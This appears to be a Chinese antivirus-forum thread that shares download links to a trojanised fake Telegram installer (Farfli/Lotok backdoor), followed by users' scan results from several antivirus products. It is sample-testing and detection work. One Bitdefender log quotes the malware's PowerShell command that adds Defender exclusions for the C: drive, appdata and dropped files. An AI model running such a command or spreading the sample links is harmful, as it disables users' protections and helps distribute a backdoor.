#faketg Farfli 1X

wwwab

下载1：https://pan.huang1111.cn/s/LKmeF6
下载2：https://pan.xiaomuxi.cn/s/eRaiX
下载3：https://t.wss.ink/f/aev5xaf8872
下载4：https://we.tl/t-aqQ2vH99MF

秋日之殇

事件: 检测到恶意对象
应用程序名称: WinRAR.exe
应用程序路径: D:\WinRAR
组件: 文件反病毒
结果说明: 检测到
类型: 木马
名称: Backdoor.Win32.Lotok.lay
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: 电报中文x64.exe
对象路径: D:\Browerdownload\Compressed\infected2023020303
对象的 MD5: 5EE9A981532D574E0D01133ACC7943F2
原因: 数据库
数据库发布日期: 今天，2023-02-03 8:05:00

ShotGun

360扫描miss

kuroandsan

biue

Solomondemeter

eset Log
C:\Users\123\OneDrive\桌面\电报中文x64.exe » INDIGOROSE » On Post Install_0.lua - Win32/Farfli.CNM.Gen trojan - cleaned by deleting [1]

莒县小哥

nikonikoni

Trellix 扫描双击均miss
双击衍生物仍然miss

GDHJDSYDH

MD：Trojan:Win32/Spursint.F!cl

761773275

BD ATC HD

1. 高级威胁防护阻止了一个恶意进程。进程路径: C:\ProgramData\Program\iusb3mon.exe. 威胁名称: ATC.SuspiciousBehavior.802998F522237F8B.

复制代码

1. HyperDetect 机器学习检测到恶意命令行执行。进程 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c if (Get-Process -Name OKokokok){}else{"Add-MpPreference -ExclusionPath $env:localappdata,'C:\','C:\PHP5433','C:\ProgramData\Program','C:\ProgramData\Program\GLUT32.dll','C:\ProgramData\Program\GLUT32.dll1','C:\ProgramData\Program\iusb3mon.exe','C:\PHP5433\php-cgi.exe','C:\un.exe','C:\PHP5433',([environment]::CurrentDirectory) -ExclusionExtension '.rar' -Force"}

复制代码